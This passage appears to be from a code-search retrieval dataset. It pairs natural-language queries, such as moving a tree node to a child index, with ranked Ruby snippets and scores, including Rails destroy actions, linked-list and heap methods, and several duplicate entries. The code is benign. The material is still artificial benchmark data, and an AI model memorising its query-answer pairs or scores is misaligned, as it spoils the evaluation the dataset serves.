"score": "0.6146094", "text": "def destroy\n @carddetail = Carddetail.find(params[:id])\n @carddetail.destroy\n\n respond_to do |format|\n format.html { redirect_to carddetails_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "aefd41b75005e21a6121d52e493dd606", "score": "0.61363196", "text": "def delete(id)\n call(\"ccqdel\", args: [id])\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2270182f37c076e3f90a970becb35496", "score": "0.61269414", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "17a4bd5a9d02ac1e99c4cfba448ff7ec", "score": "0.61201966", "text": "def destroy\n @enhanced_card = @card_level.enhanced_cards.find(params[:id])\n @enhanced_card.destroy\n\n respond_to do |format|\n format.html { redirect_to enhanced_cards_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "431c31ba35a51a078ef43054b9ed7201", "score": "0.61192507", "text": "def destroy\n # @card.destroy\n @card.is_active = 0\n @card.save\n respond_to do |format|\n format.html { redirect_to cards_url, flash: { notice: 'Карта была удалена', type: 'deleted', state: 'ok', rollback_url: \"/cards/#{params[:id]}/recover\" } }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e80da1a3b92530a39f94ccb29b3d7497", "score": "0.6107642", "text": "def delete(payment_method_definition_id)\n response, status = BeyondApi::Request.delete(@session,\n \"/payment-method-definitions/#{payment_method_definition_id}\",\n body)\n\n handle_response(response, status, respond_with_true: true)\n end", "title": "" }, { "docid": "b1d047a40d9a60781f5c4178dd95f91a", "score": "0.60989475", "text": "def destroy\n @reply.destroy\n respond_with @card, location: card_url(id: @card.access_token)\n end", "title": "" }, { "docid": "81d2ea88ee50373146c20c1d42372e2b", "score": "0.60956866", "text": "def destroy\n @nfc_card.destroy\n respond_to do |format|\n format.html { redirect_to nfc_cards_url, notice: 'Nfc card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cfece8e50e2e72a010d4a613f29ebe99", "score": "0.6094608", "text": "def destroy\n \t\n @cardholder = Cardholder.find(params[:id])\n @cardholder.destroy unless @cardholder.nil?\n\n respond_to do |format|\n format.html { redirect_to(cardholders_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "82f53d29150ba7c3022fbb02bbd6747f", "score": "0.6087318", "text": "def destroy\n if(params.has_key?(:card_id))\n @Point4Card = Point4Card.find_by_card_id(params[:card_id])\n @Point4Card.destroy\n elsif(params.has_key?(:id))\n @Point4Card = Point4Card.find_by_card_id(params[:id])\n @Point4Card.destroy\n else\n Point4Card.delete_all\n end\n render json: {}, status: :no_content\n end", "title": "" }, { "docid": "941dfab23744a16109b05c1a5d43fb3b", "score": "0.60782593", "text": "def destroy\n @card_detail.destroy\n respond_to do |format|\n format.html { redirect_to card_details_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d85d5b69222c49778032163663e8eff2", "score": "0.60768026", "text": "def destroy\n #assign @card to the current card\n @publicCard = PublicCard.find(params[:id])\n #if succesful display message\n if @publicCard.destroy\n flash[:notice] = \"Card was destroyed\"\n #redirect to cards index\n redirect_to root_path\n else\n flash[:alert] = \"Something went wrong.\"\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "30a846fe5f165691afdcf55a394a15fd", "score": "0.60662746", "text": "def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to cards_url, notice: 'You destroyed this card.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
48e638dc9acd226d181347290bd85ca0
Move the node to the child of another node with specify index
[ { "docid": "33bc24566a70472ffb9d9a58bab9462e", "score": "0.82799745", "text": "def move_to_child_with_index(node, index)\n if node.children.empty?\n move_to_child_of(node)\n elsif node.children.count == index\n move_to_right_of(node.children.last)\n else\n my_position = node.children.to_a.index(self)\n if my_position && my_position < index\n # e.g. if self is at position 0 and we want to move self to position 1 then self\n # needs to move to the *right* of the node at position 1. That's because the node\n # that is currently at position 1 will be at position 0 after the move completes.\n move_to_right_of(node.children[index])\n elsif my_position && my_position == index\n # do nothing. already there.\n else\n move_to_left_of(node.children[index])\n end\n end\n end", "title": "" } ]
[ { "docid": "13a2628f53480fb577c2ebde8859e7d6", "score": "0.7938242", "text": "def move_member(from_index, to_index)\n\t #get node to be moved and clone it\n\t moving_node = self.find_by_terms({:mods=>from_index.to_i}).first().clone()\n\t #get node at to_index\n\t to_node = self.find_by_terms({:mods=>to_index.to_i}).first()\n\t #remove the node to be moved at it's original index\n\t remove_member_by_index(from_index)\n\t\n\t #if moving node from left to right, add moving node after the to_index node\n\t if (from_index < to_index)\n\t to_node.after(moving_node)\n\t #moving from right to left, add moving node before the to_index node\n\t else\n\t to_node.before(moving_node)\n\t #to_node.add_previous_sibling(moving_node)\n\t end\n\t \n\t self.content = self.ng_xml.to_s\n\t \n end", "title": "" }, { "docid": "82449dca033bca235bfbddddaf03bc58", "score": "0.7837893", "text": "def move_to_child_of(node)\n move_to node, :child\n end", "title": "" }, { "docid": "82449dca033bca235bfbddddaf03bc58", "score": "0.7837893", "text": "def move_to_child_of(node)\n move_to node, :child\n end", "title": "" }, { "docid": "7cdab37a19d404cb672c9f5c9dc491f3", "score": "0.7812758", "text": "def move_to_child_of(node)\n move_to node, :child\n end", "title": "" }, { "docid": "7cdab37a19d404cb672c9f5c9dc491f3", "score": "0.7812758", "text": "def move_to_child_of(node)\n move_to node, :child\n end", "title": "" }, { "docid": "86680c9c9d0b98c7e247ab90cd92d48c", "score": "0.76387495", "text": "def move_to_child_of(node)\n move_to node, :child\n end", "title": "" }, { "docid": "2c3bfdc537fe1a73eeeae0116c682598", "score": "0.76082164", "text": "def sift_up_nodes(child_index)\n @array[child_index], @array[@parent_index] = @array[@parent_index], @array[child_index]\n @sifted_indexes << [@parent_index, child_index]\nend", "title": "" }, { "docid": "f2860b882f480e7d4c10d335de43020a", "score": "0.755887", "text": "def move_to_index(index)\n\n\t\t# decrement all indices above the binder's own index\n\t\tBinder.where(\"parent.id\" => self.parent[\"id\"].to_s).reject { |b| b.order_index.to_i <= self.order_index.to_i }.each do |c|\n\n\t\t\tc.update_attributes( :order_index => c.order_index-1 )\n\n\t\tend\n\n\t\t# check for non-\n\t\tif index == self.order_index\n\t\t\tlogger.debug \"Attempted a move to the same index\"\n\t\t\treturn\n\t\telsif index < self.order_index\n\t\t\t# binder is being moved to a lower index, increment inbetween indices\n\t\t\tBinder.where(\"parent.id\" => self.parent[\"id\"].to_s).reject { |b| b.order_index.to_i < index.to_i ||\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t b.order_index.to_i > self.order_index }.each do |c|\n\n\t\t\t\t\tc.update_attributes( :order_index => c.order_index+1)\n\n\t\t\tend\n\t\telse\n\t\t\t# binder is being moved to a higher index, decrement inbetween indices\n\t\t\tBinder.where(\"parent.id\" => self.parent[\"id\"].to_s).reject { |b| b.order_index.to_i > index.to_i ||\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t b.order_index.to_i < self.order_index }.each do |c|\n\n\t\t\t\t\tc.update_attributes( :order_index => c.order_index-1)\n\n\t\t\tend\n\t\tend\n\n\t\t# finally, set the index of the node being moved\n\t\tself.update_attributes( :order_index => index )\n\n\tend", "title": "" }, { "docid": "0c6fcfe57361361285030a67a577cf0b", "score": "0.7322024", "text": "def move_to_child_of(node)\n self.move_to node, :child\n end", "title": "" }, { "docid": "28befb66da37ee6c5413771c6327c4a7", "score": "0.7295852", "text": "def move_to_child_of(node)\n move_to_in_set node, :child\n end", "title": "" }, { "docid": "308961c0cb00d786afa711ef36c8452b", "score": "0.71338654", "text": "def lose_child_index(index)\n temp = @children.slice!(index)\n @children.insert(index, temp.children)\n @children.flatten!\n temp.children.each { |child| child.parent = self }\n @children.compact!\n return temp\n end", "title": "" }, { "docid": "6eda83bfc80bca76cd70899ae19b9821", "score": "0.6931296", "text": "def insert_in_siblings(new_index)\n original_parent = self.parent\n remove_from_siblings if index\n self.parent = original_parent\n siblings.where(:index.gte => new_index).each do |sibling|\n sibling.increment!(:index)\n end\n self.index = new_index\n end", "title": "" }, { "docid": "f1c901ef8291ea3f2bcc75df67eb57de", "score": "0.6881167", "text": "def move_to(node_obj, nth = -1)\n ff_move_node(node_obj, nth, false) # false: move to\n end", "title": "" }, { "docid": "8c26ec6070aec025f074a827ae751195", "score": "0.68688834", "text": "def move_to_child_of(node)\n node = self.class.find(node)\n self.parent = node\n save!\n end", "title": "" }, { "docid": "acfdc29153c1919315ae8a12cf65b3ed", "score": "0.6849376", "text": "def replace(node, idx)\n @children[idx] = node\n end", "title": "" }, { "docid": "c34b3f0ee9113ab06267d5af9c1545ee", "score": "0.68136996", "text": "def move(item, parent, index)\n execute(:move, item, parent, index)\n end", "title": "" }, { "docid": "b8e90568e54815b6c7500d184a5f48a5", "score": "0.6786985", "text": "def replace_child(previous_child, new_child); end", "title": "" }, { "docid": "b8dbb0d3c4b8cfd1c679335ddab1e859", "score": "0.66698", "text": "def insert_at(index,value)\n\t\tself.at(index-1).next_node = Node.new(value,self.at(index-1).next_node)\n\tend", "title": "" }, { "docid": "5328e5cb01eb52bcfea5f3e3684aa724", "score": "0.6647416", "text": "def []=(index, value)\n value = value.to_ast_node if value.respond_to? :to_ast_node\n\n old_value = child_nodes[index]\n value.position = old_value.position unless value.position\n child_nodes[index] = value\n end", "title": "" }, { "docid": "b2b7cf60bee63386ae6bfe794bcb53ff", "score": "0.6644392", "text": "def mutate_index(index)\n mutate_child(index)\n dup_children = children.dup\n dup_children.delete_at(index)\n if dup_children.last.type == :when\n dup_children << nil\n end\n emit_self(*dup_children)\n end", "title": "" }, { "docid": "1caa34443a098683522ca7ed25ed0415", "score": "0.6625908", "text": "def remove(index)\n prev_node = get_node(index-1)\n current_node = get_node(index)\n \n prev_node.next_node = current_node.next_node\n end", "title": "" }, { "docid": "1899a6f3b0d16b31a9da4f2147f428fb", "score": "0.65970093", "text": "def []=(index, nodes)\n @children[index..index] = nodes\n @children.each do |child|\n child.parentNode = self\n end if @children\n end", "title": "" }, { "docid": "1899a6f3b0d16b31a9da4f2147f428fb", "score": "0.65969354", "text": "def []=(index, nodes)\n @children[index..index] = nodes\n @children.each do |child|\n child.parentNode = self\n end if @children\n end", "title": "" }, { "docid": "78232a883e2ae3bce765a1349a5ce00e", "score": "0.6573888", "text": "def move_to_element()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "676842d84e471aaada913b8bee86c163", "score": "0.65513587", "text": "def delete_child_at(index)\n child = super\n\n pack_children\n\n child\n end", "title": "" }, { "docid": "97b1badef43f3ce746b73c3a5be61e97", "score": "0.65364707", "text": "def insert_at(value, index)\n new_node = Node.new(value)\n previous_node = at(index-1)\n new_node.next_node = previous_node.next_node\n previous_node.next_node = new_node\n @size += 1\n end", "title": "" }, { "docid": "7171246a39bf7ac420333c1f144d83fd", "score": "0.6510404", "text": "def insert_at(index, value)\n old_node = at(index)\n earlier_node = at(index - 1)\n new_node = Node.new(value)\n\n @size += 1\n new_node.next_node = old_node\n earlier_node.next_node = new_node\n end", "title": "" }, { "docid": "8ab82080db9eeac656516bbcadb50800", "score": "0.64929867", "text": "def move_down\n move_to(index_in_parent + 1)\n end", "title": "" }, { "docid": "d53d0dc837ff088d07d3286f2d440f22", "score": "0.64905405", "text": "def delete_at(index)\n return nil if index > length - 1\n # Handle negative indexes\n return delete_at(length + index) if index.negative?\n\n # We will point the parent's next to the child of the element to be deleted\n prev_node = fetch_node(index - 1)\n to_delete = prev_node.next\n prev_node.next = to_delete.next\n # Return the value of the deleted node\n to_delete.value\n end", "title": "" }, { "docid": "c8b175a210ff0b247580b2e6a07a8ed5", "score": "0.6483873", "text": "def replace_child(n,r)\n i=child_nodes.index r\n raise \"child not found\" if i.nil?\n n.parent_node.remove_child(n) if n.parent_node\n n.parent_node=self\n n.next_sibling=r.next_sibling\n n.previous_sibling=r.previous_sibling\n if r.previous_sibling\n r.previous_sibling.next_sibling=n\n else\n @first_child=n\n end\n if r.next_sibling\n r.next_sibling.previous_sibling=n\n else\n @last_child=n\n end\n \n @child_nodes[i]=n\n r\n end", "title": "" }, { "docid": "05cafd6415fa4afaed0451e5829a6d81", "score": "0.6472386", "text": "def move_first_element_of_successor_to_child(child_index)\n child = @children[child_index]\n succ = @children[child_index + 1]\n\n if child.is_leaf?\n # Adjust offset for the successor node\n @offsets[child_index + 1] += 1\n # Move the value\n child.values << succ.values.shift\n else\n # Before:\n #\n # Root Node +--------------------------------+\n # Offsets | 0 7 |\n # Children | |\n # child v succ v\n # Level 1 +---------------++-------------------------------------+\n # Offsets | 0 4 || 0 4 6 9 |\n # Children | | | | | |\n # v v v v v v\n # Leaves +---------++-------++----------++-------++----------++-------+\n # Values | A B C D || E F G || H I J K || L M || N O P || Q R |\n #\n # Index 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17\n #\n # After:\n #\n # Root Node +--------------------------------+\n # Offsets | 0 11 |\n # Children | |\n # child v succ v\n # Level 1 +--------------------------++--------------------------+\n # Offsets | 0 4 7 || 0 2 5 |\n # Children | | | | | |\n # v v v v v v\n # Leaves +---------++-------++----------++-------++----------++-------+\n # Values | A B C D || E F G || H I J K || L M || N O P || Q R |\n #\n # Index 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17\n #\n # Adjust the offsets of the successor. The 2nd original offset\n # determines the delta for the parent node.\n succ.offsets.shift\n delta = succ.offsets.first\n succ.offsets.map! { |o| o -= delta }\n # The additional child offset can be taken from the parent node\n # reference.\n child.offsets << @offsets[child_index + 1]\n # The parent node offset of the successor needs to be corrected by the\n # delta value.\n @offsets[child_index + 1] += delta\n # Move the child reference\n child.children << succ.children.shift\n child.children.last.parent = child\n end\n end", "title": "" }, { "docid": "605c699cc7e22d2dce876f01ea4e8e5f", "score": "0.6431085", "text": "def remove(index)\n prev_node = get_node(index-1)\n current_node = get_node(index)\n \n prev_node.next_node = current_node.next_node\n end", "title": "" }, { "docid": "35bae8c0d5fd3b675f553f5e904f71cb", "score": "0.6431062", "text": "def replace(idx, node)\n end", "title": "" }, { "docid": "e1d4f4864c7f97d593d98f7ddfb745ba", "score": "0.64309454", "text": "def remove_at(index)\n\t\tself.at(index-1).next_node = self.at(index).next_node\n\tend", "title": "" }, { "docid": "cfd2206abad1702e6edfa705b0c070b5", "score": "0.64144653", "text": "def move\n begin\n\n next_sibling = Node.find(params[:next_sibling]) if params[:next_sibling].present?\n parent = Node.find(params[:parent]) if params[:parent].present?\n\n if next_sibling.present? && (parent.blank? || parent == next_sibling.parent)\n @node.move_to_left_of next_sibling\n render :text => I18n.t('nodes.succesfully_moved'), :status => :ok\n elsif parent.present?\n @node.move_to_child_of parent\n render :text => I18n.t('nodes.succesfully_moved'), :status => :ok\n else\n render :text => I18n.t('nodes.no_parent_or_sibling'), :status => :precondition_failed\n end\n rescue ActiveRecord::ActiveRecordError => e\n render :text => e.message, :status => :unprocessable_entity\n end\n end", "title": "" }, { "docid": "e2746d20d600a0b17dba8cd795e67edf", "score": "0.6385596", "text": "def move_node_to_head(node) \n\n end", "title": "" }, { "docid": "55c9e9963fea163a428bab61f2c73528", "score": "0.63811934", "text": "def move_from(current_index, new_index)\n return if current_index == new_index\n if obj = delete_at(current_index)\n insert(new_index, obj)\n else\n raise \"Attempt to move object from index `#{current_index}` which is beyond bounds of the list `#{inspect}`\"\n end\n end", "title": "" }, { "docid": "1bb8e4447ba645eca11417d2371f8e2c", "score": "0.6373788", "text": "def reorder_child(widget, position)\n src_iter = get_iter_at_child(widget)\n unless src_iter.nil?\n offset = 0\n if position >= 0\n offset = position\n else\n offset = @textview.buffer.char_count + position\n end\n dest_iter = @textview.buffer.get_iter_at_offset(offset)\n \n # insert widget at new position\n anchor = @textview.buffer.create_child_anchor(dest_iter)\n @textview.add_child_at_anchor(widget, anchor)\n \n # remove widget from old position\n remove_anchor_at_iter(src_iter)\n \n recalculate_position_properties()\n end\n end", "title": "" }, { "docid": "b33a56591eefde66173289ebf8bab67f", "score": "0.6353273", "text": "def remove_at index\n\t\tafter = self.at index+1\n\t\tself.at(index-1).next_node = \n\t\t@nodes -= 1\n\tend", "title": "" }, { "docid": "13ace701337f0fde49f2acae4277fbb9", "score": "0.63259894", "text": "def delete_at_index(index)\n node = get index\n if node != -1\n left = node.prev\n right = node.next\n left.next = right\n right.prev = left if right\n end\n end", "title": "" }, { "docid": "199ed259f1dcebebcec53b0c845eee31", "score": "0.631224", "text": "def node_join_child(node, child, index)\n node_can_have_children!(node)\n children = node_children(node)\n if children[index] == nil # sparse?\n children[index] = child\n else\n children[index, 0] = child\n end\n end", "title": "" }, { "docid": "09843d9b9d9fbcb8a18e7c41ed99ab94", "score": "0.63022023", "text": "def move_up\n move_to(index_in_parent - 1)\n end", "title": "" }, { "docid": "fc2d5891c12da73deb65c8132d7bb935", "score": "0.6288801", "text": "def insert_node_at(node, index)\n\t\ti = 0\n\t\tcurrent_node = @head\n\t\tif index == 0\n\t\t\tnode.next = @head.next\n\t\t\t@head = node\n\t\telse\n\t\t\tcurrent_node, i = current_node.next, i+1 until i == index - 1\n\t\t\tnode.next = current_node.next\n\t\t\tcurrent_node.next = node\n\t\t\tself.to_s\n\t\tend\n\tend", "title": "" }, { "docid": "c4759e807c40e3ad14b3a474890ef6e2", "score": "0.62677515", "text": "def insert_tree(index, tree)\n @children.insert index, tree\n end", "title": "" }, { "docid": "76f411f6649195429a541934a0ac4b69", "score": "0.6262807", "text": "def __swap(index_child, index_parent)\r\n temp = @heap[index_parent]\r\n @heap[index_parent] = @heap[index_child]\r\n @heap[index_child] = temp\r\n end", "title": "" }, { "docid": "524e34ae7864f89321c2124c892a5c71", "score": "0.6253676", "text": "def insert_at(data, index)\n node = Node.new(data)\n node.next_node = at(index)\n at(index-1).next_node = node\n @size += 1\n end", "title": "" }, { "docid": "60a70a4e4e87297f57969dc78143cb23", "score": "0.6246384", "text": "def move_me(pos, node)\n detach_me\n insert_me(pos, node)\n end", "title": "" }, { "docid": "bfb89a21e50d2a1295f3affa82369e29", "score": "0.6239159", "text": "def at2(index)\n\t\tnode = @head\n\t\tindex.times{ node = node.next_node}\n\t\tnode\n\tend", "title": "" }, { "docid": "99bedb56f262dc527dee14eac13513f8", "score": "0.62316805", "text": "def insert_at_index(index, data)\n current_node = self.head\n (1..index - 1).each do |number|\n if current_node.next_node.nil? && (index != number)\n current_node.next_node = Node.new(nil, nil)\n end\n current_node = current_node.next_node\n end\n if current_node\n old_next = current_node.next_node\n current_node.next_node = Node.new(data, old_next)\n end\n end", "title": "" }, { "docid": "3303d248ed5e014cd70b582cf6d65974", "score": "0.62301177", "text": "def explore_child(index)\n current = child index\n if current\n current\n else\n a, b = coord_child index\n tile = Tile.new coordA: a, coordB: b, parent: self, layer: self.layer + 1\n if tile.save\n tile\n else\n raise 'Expected to create new tile but could not'\n end\n end\n end", "title": "" }, { "docid": "db4e046d5a5594268f78357b76a68441", "score": "0.6224881", "text": "def merge_with_left(parent, child_index)\n \n child = parent.nodes[child_index]\n sibling = parent.nodes[child_index-1]\n node = Node.new()\n \n node.nodes = sibling.nodes + child.nodes\n \n node.keys = sibling.keys + [ parent.keys[child_index-1] ] + child.keys\n parent.take(child_index-1)\n parent.nodes[child_index-1] = node\n node\n end", "title": "" }, { "docid": "8d51fcb57ad4b796c82016bf268bcfd4", "score": "0.6217686", "text": "def bubble_up(index)\n return unless index\n parent_index = (index / 2)\n\n return if index <= 1\n return if @nodes[parent_index] <= @nodes[index]\n\n exchange(index, parent_index)\n bubble_up(parent_index)\n end", "title": "" }, { "docid": "b685b9a5db6bae26dbf33cfc156a37ae", "score": "0.62149715", "text": "def set_tree(index, tree)\n @children[index] = tree\n end", "title": "" }, { "docid": "deaa64fdb0c8fe1f84624f1f5bb68d8b", "score": "0.62119275", "text": "def move_to(target, position)\n raise ActiveRecord::ActiveRecordError, 'You cannot move a new node' if self.new_record?\n\n transaction do\n if position == :child\n self.parent = target\n else\n self.parent = target.parent\n end\n\n if save\n case position\n when :left\n insert_at!(target.position)\n when :right\n insert_at!(target.position + 1)\n end\n else\n raise ActiveRecord::ActiveRecordError, \"Move failed: #{self.errors.full_messages.pretty_inspect}\"\n end\n update_attributes :updated_at => Time.now\n end\n end", "title": "" }, { "docid": "dc4925bc999092577c56e94396487a94", "score": "0.6207495", "text": "def sift_down(idx)\n return self if idx >= @array.size\n cidxs = self.class.children_idx(idx, @child_slots)\n # promote the heapiest child\n cidx = self.heapiest(cidxs)\n if !self.heapish?(idx, cidx)\n @array[idx], @array[cidx] = @array[cidx], @array[idx] # swap\n self.sift_down(cidx)\n end\n self\n end", "title": "" }, { "docid": "ededee054b136f99f72d2e29a5b644e6", "score": "0.61942434", "text": "def merge_with_right(parent, child_index)\n child = parent.nodes[child_index]\n sibling = parent.nodes[child_index+1]\n node = Node.new()\n \n node.nodes = child.nodes + sibling.nodes\n \n node.keys = child.keys + [ parent.keys[child_index] ] + sibling.keys\n parent.take(child_index)\n parent.nodes[child_index] = node\n node\n end", "title": "" }, { "docid": "53dbebb5726c347ee24efa26cdcea686", "score": "0.6179421", "text": "def insert(idx, node)\n end", "title": "" }, { "docid": "6f42d798051dbb687b015565ddedb238", "score": "0.61703056", "text": "def move_to(parent = nil, position = -1)\n orig_parent = self.parent\n insert_at(parent, position)\n reorder_and_save(orig_parent.children) unless orig_parent.nil?\n end", "title": "" }, { "docid": "1bb7ed0ddccf621a7397c13c6bac3386", "score": "0.6160889", "text": "def remove_at(index)\n old_node = at(index)\n earlier_node = at(index - 1)\n later_node = at(index + 1)\n\n @size -= 1\n earlier_node.next_node = later_node\n old_node.next_node = nil\n end", "title": "" }, { "docid": "fc8316ccd639dc19bf1bca6cc61704ca", "score": "0.6160284", "text": "def insert_at(index, data)\r\n\t\tif index == 0\r\n\t\t\tprepend(data)\r\n\t\telse\r\n\t\t\tnode = at(index - 1)\r\n\t\t\tif !node.nil?\r\n\t\t\t\tnew_node = Node.new(data)\r\n\t\t\t\tnode_after = node.next_node\r\n\t\t\t\tnode.next_node = new_node\r\n\t\t\t\tnew_node.next_node = node_after\r\n\t\t\t\t@size += 1\r\n\t\t\tend\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "793d85e5c2fff36cfbb2664f388df55b", "score": "0.6157246", "text": "def insert(index, element)\n validate_command(index - 1)\n node_to_insert = Node.new(element)\n bump_down = self.get(index - 1)\n bump_down.insert_after(node_to_insert)\n @size += 1\n end", "title": "" }, { "docid": "68bcf43816813516ce9e164900505ae7", "score": "0.6155379", "text": "def []=(idx, node)\n node.parent ||= self\n raise \"node has a parent: #{node.parent}\" if node.parent != self\n @children[idx] = node\n end", "title": "" }, { "docid": "79df2ca9334854ca28992b34ce7cb6eb", "score": "0.6149596", "text": "def at(index)\n counter = 0\n node = @head\n index.times { node = node.next_node }\n node\n end", "title": "" }, { "docid": "705ecd99ba3690c9b7137d76abb7edce", "score": "0.6147949", "text": "def left_child(index)\n tree[2 * index]\n end", "title": "" }, { "docid": "6c3e52df56ba5fac39452790110800d3", "score": "0.61413753", "text": "def move_branch(src, dst)\n dst[ItemColumn] = src[ItemColumn]\n child_src = src.first_child\n while child_src\n child_dst = @model.append(dst)\n move_branch(child_src, child_dst)\n child_src.next! or break\n end\n @view.expand_row(dst.path, false) if @view.row_expanded?(src.path)\n end", "title": "" }, { "docid": "2f5e40dcbeb7b4ea734c74e39d783f67", "score": "0.6131066", "text": "def index\n set_node_to_children_map(0)\n end", "title": "" }, { "docid": "6146042bab23e55cf3f5623d800b6c2c", "score": "0.6130197", "text": "def move(new_parent, new_rank)\n new_parent = FormItem.find(new_parent) unless new_parent.is_a?(FormItem)\n transaction do\n self.parent = new_parent\n self.rank = [1, [new_rank, new_parent.children.size + 1].min].max\n save(validate: false)\n end\n end", "title": "" }, { "docid": "a3000f2d6f7dd942a0500ae7cc2a745c", "score": "0.6126735", "text": "def remove_at(index)\n remove_node(find_node_at(index))\n end", "title": "" }, { "docid": "6a40f1224c6824e79f49cf7516519113", "score": "0.6123408", "text": "def next_child_index(index)\n children_qty = children(index).length\n raise \"You violated the maximum #{@n} children for a single node\" if children_qty >= @n\n (index * @n) + 1 + children_qty\n end", "title": "" }, { "docid": "bc8f4258d4235862ae0bb33859e98e9e", "score": "0.612234", "text": "def remove_at(index)\n at(index-1).next_node = at(index+1) # the link is updated to point to the node at index+1\n @size -= 1\n end", "title": "" }, { "docid": "5aae4e6f644a03502b80b24c624d6442", "score": "0.61211514", "text": "def replace!(old_child, new_child)\n child_index = @children.find_index(old_child)\n\n old_child = remove! old_child\n add new_child, child_index\n\n return old_child\n end", "title": "" }, { "docid": "5aae4e6f644a03502b80b24c624d6442", "score": "0.61211514", "text": "def replace!(old_child, new_child)\n child_index = @children.find_index(old_child)\n\n old_child = remove! old_child\n add new_child, child_index\n\n return old_child\n end", "title": "" }, { "docid": "24d5bde8b4a204b1a1ef24e42df9e1aa", "score": "0.6120747", "text": "def insert(value, index)\n\t\tinserted = false\n\t\tif index == 0\n\t\t\tself.unshift(value)\n\t\t\treturn true\n\t\tend\n\t\tnew_node = Node.new(value)\n\t\tpos = 1\n\t\tself.each_node do |node|\n\t\t\tif pos == index\n\t\t\t\tnew_node.link_to = node.link_to\n\t\t\t\tnode.link_to = new_node\n\t\t\t\tinserted = true\n\t\t\tend\n\t\t\tpos += 1\n\t\tend\n\t\tinserted\n\tend", "title": "" }, { "docid": "e370bea670b2c1f25a3fcc981aba955c", "score": "0.6117298", "text": "def replace_children(start_child_index, stop_child_index, t)\n raise NotImplementedError\n end", "title": "" }, { "docid": "4083a5363b5c1976068d444791a055c4", "score": "0.6116937", "text": "def insert_after( child1, child2 )\n if child1.kind_of? String\n child1 = XPath.first( self, child1 )\n child1.parent.insert_after child1, child2\n else\n ind = index(child1)+1\n child2.parent.delete(child2) if child2.parent\n @children[ind,0] = child2\n child2.parent = self\n end\n self\n end", "title": "" }, { "docid": "749729651c225581e8ba20102ee5fed2", "score": "0.61134386", "text": "def link(x, y)\n x.child = insert_list(y, x.child)\n x.rank += 1\n end", "title": "" }, { "docid": "bc41bd950f6a0bece2a456943e9d0643", "score": "0.6113195", "text": "def insert_at(index, value)\n return nil if index > size\n return prepend(value) if index == 0\n node = Node.new(value)\n current = at(index-1)\n node.next_node = current.next_node\n current.next_node = node\n end", "title": "" }, { "docid": "4765e896b782d954a488933101936f43", "score": "0.61130387", "text": "def sift_up(index)\n parent = (index - 1) / 2\n if parent >= 0 and @heap[parent] < @heap[index]\n @heap[parent], @heap[index] = @heap[index], @heap[parent]\n sift_up(parent)\n end\n end", "title": "" }, { "docid": "6d9aec9ee30aca78b9ce44259c2d6ee5", "score": "0.6106109", "text": "def move_to_child_of(reference_instance)\n\t\ttransaction do\n\t\t\tremove_from_list\n\t\t\tself.update_attributes!(:parent => reference_instance)\n\t\t\tadd_to_list_bottom\n\t\t\tsave!\n\t\tend\n\tend", "title": "" }, { "docid": "25438de8023cd9766f9c940d190fe1fc", "score": "0.6105715", "text": "def move(new_parent) # :yields: TaxonName\n self.reload\n new_parent.reload\n raise \"Intended parent is a child of this node or is this node\" if (new_parent.left >= left) and (new_parent.right <= right)\n raise \"Intended parent is a family for a species group name\" if new_parent.iczn_group == 'family' && self.iczn_group == 'species'\n \n left_bound = find_insertion_point(new_parent)\n gap_size = right - left + 1\n self.transaction do \n self.class.slide(gap_size, left_bound) # open\n self.reload # gets the new left and right in case our own sub-tree got shifted\n correction = left_bound + 1 - left\n self.class.move_sub_tree(correction, left, right)\n self.class.slide( - gap_size, right) # close\n # careful will overwrite changes if don't reload\n self.reload\n self.parent = new_parent\n self.save\n end\n end", "title": "" }, { "docid": "30200c8c173b7d9590d7b50db06b0900", "score": "0.6101771", "text": "def move_back(node)\n remove(node)\n append(node)\n end", "title": "" }, { "docid": "de4bc30c8be91671b9c0c7eb4412154a", "score": "0.61013347", "text": "def remove_at(index)\n return 'Error: Index out of range!' if size < index + 1\n\n node_number = 1\n current_node = @content\n until node_number == index\n current_node = current_node.next_node\n node_number += 1\n end\n current_node.next_node = current_node.next_node.next_node\n end", "title": "" }, { "docid": "2f090f48ddbb086e6a8bfadab73a2532", "score": "0.60906833", "text": "def goBackNode(distance, index)\n original = createStartMatrix\n original.length.times {|i| @matrix[i][index] = original[i][index]}\n\n @order.pop\n @distance -= distance\n end", "title": "" }, { "docid": "a1da98b1a2ae576b2d505005deb34a66", "score": "0.60804474", "text": "def at(idx)\n current_node = 